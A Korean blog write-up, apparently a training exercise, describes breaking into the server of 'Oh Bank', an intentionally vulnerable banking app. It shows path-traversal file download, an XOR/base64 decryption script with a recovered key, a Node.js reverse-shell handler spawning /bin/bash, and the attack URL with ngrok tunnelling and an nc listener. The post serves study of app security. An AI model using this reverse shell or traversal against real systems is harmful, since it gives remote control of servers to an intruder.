본문 바로가기

Penetration/Mobile

[Oh Bank] 앱 취약점 학습 앱 - 서버 침투

이번에 해볼 것은 앱 침투 시도 입니다. 구체적인 시나리오는 파일다운로드와 업로드를 이용한 침투시도로 잡았습니다.

이제 본격적으로 저번에 업로드한 파일을 다운로드 받아서 경로를 파악해보려고 합니다.

 

파일 다운로드를 통한 경로 파악 및 파일 내용 파악

일단 파일 다운로드를 받으면서 경로를 조작했을 때 루트 관련 파일을 다운로드 받을 수 있는지 확인합니다.

경로 수정을 통해서 파일의 내용을 확인할 수 있다는 것을 알았습니다. 본격적으로 암호화된 문장을 이용해서 다른 파일의 내용을 알아보겠습니다.

일부러 부족하게 작성한 후 해당 경로에 파일이 없습니다와 같은 오류를 도출해냅니다. 본 오류는 암호화 되어있으므로 복호화 한 값을 알아내는 방식으로 값을 알아내려고 합니다.

JEB를 통해서 정적분석을 해보면 아래와 같은 복호화를 위한 키(amazing)을 얻을 수 있습니다.

이제 이를 이용해서 암복호화를 시도해봅니다.

import base64

def operate(input_str, secret):
    result = ""
    secret_length = len(secret)
    for i in range(len(input_str)):
        xor_val = ord(input_str[i]) ^ ord(secret[i % secret_length])
        xor_char = chr(xor_val)
        result += xor_char
    return result

def decrypt(input_str, secret):
    decode_byte = base64.b64decode(input_str)
    decode_str = decode_byte.decode()
    decrypt_str = operate(decode_str, secret)
    return decrypt_str

# 암호문
encrypted_string = "복호화할 문자열"
# 비밀 키
secret_key = "amazing"

# 복호화
decrypted_string = decrypt(encrypted_string, secret_key)
print("복호화된 문자열:", decrypted_string)

이와 같은 코드를 작성하여 복호화를 시도합니다.

 

아까전 얻은 응답의 값을 해당 파이썬 코드를 이용해서 복호화합니다. 복호화 시 아래와 같은 값을 얻을 수 있습니다.

해당 에러를 통해 노출된 경로들을 이용해서 침투의 단서를 파악해봅니다.

이제 해당 단서를 이용해서 어느정도 경로에 대해서 파악할 수 있었습니다.

 

코드 분석을 통해서 알아낸 단서는

api/qna/filedown?filename=/home/ubuntu/OhBANK/BackendServer/lib/api/Qna/filedown.js에서 /attack 을 이용해서 공격해야 하므로 api/qna/filedown/attack 이라는 것까지는 파악했습니다.

 

이제 이후에 어떤 파리미터가 쓰이는지 확인해보면 ip 와 port가 사용될 것이라고 추측할 수 있다.

 

해당 페이지에서 잘못된 페이지를 입력했을 떄는 아래와 같은 화면이 나옵니다.

정상적인 페이지의 경우 오히려 서버 에러에 대해서 나타내 주기때문에 /attack 경로가 맞다고 판단하였습니다.

이제 본격적으로 연결을 시도해보겠습니다. 

일단 웹쉘을 이용하기 위해서 mydata.js 파일을 살펴보겠습니다. 이 파일이 결국 attack에서 사용할 파라미터들을 정의하고 있기 때문입니다.

// mydata.js

var express = require("express");
var router = express.Router();

router.get("/", function(req, res) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash",[]);     
var client = new net.Socket();

client.connect(req.query.port,req.query.ip,function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});

return /a/;
});

module.exports = router;

이를 바탕으로 얻을 수 있는 단서는 

http://aaaa-elb-1724495853.ap-northeast-2.elb.amazonaws.com:3000/api/qna/filedown/attack?ip={연결할 대상의 ip주소}&port={연결할 포트번호}

이렇게 작성하여야 한다는 것을 알 수 있었습니다.

다만 연결할 대상의 아이피를 사설 ip를 쓰면서 삽질만 했습니다.(공인 아이피가 필요하지만 개인서버 혹은 ngrok을 통해서 가지고 있어야 함)

 

ngrok을 이용한 웹쉘과의 연결

이제 본격적인 마지막 침투 단계입니다. 일단 사설 ip가 아닌 공용 ip로 접근하기 위해서 ngrok을 설치해주기로 합니다.

이후 명령어를 순차적으로 실행합니다.

저는 포트 사용을 위해서 ngrok http 8888을 입력하였습니다.(이거 시도했다가 실제로 서비스를 가지고 있지 않아서 삽질을 했습니다.)

제대로 된 접속을 위해서 ngrok tcp 8888을 입력하였습니다.

이제 해당 주소를 알아냈다면 nslookup 명령을 이용해서 ip주소를 알아냅니다.

이제 여기의 ip주소와 위에서 참조한 포트번호를 이용해서 리버스 쉘을 실행해 보겠습니다. 일단 nc -lvp 8888 명령을 이용해서 리스닝 상태로 대기하겠습니다.

이후 웹 사이트 URL에 http://aaaa-elb-1724495853.ap-northeast-2.elb.amazonaws.com:3000/api/qna/filedown/attack?ip=18.177.76.42&port=18170 과 같은 형태로 접속합니다.

이후 다시 리스닝 대기했던 터미널을 확인해보면 연결된 것을 확인할 수 있습니다.

이상입니다. 다음에는 aws에 접속하는 방법을 공부해보려고 합니다.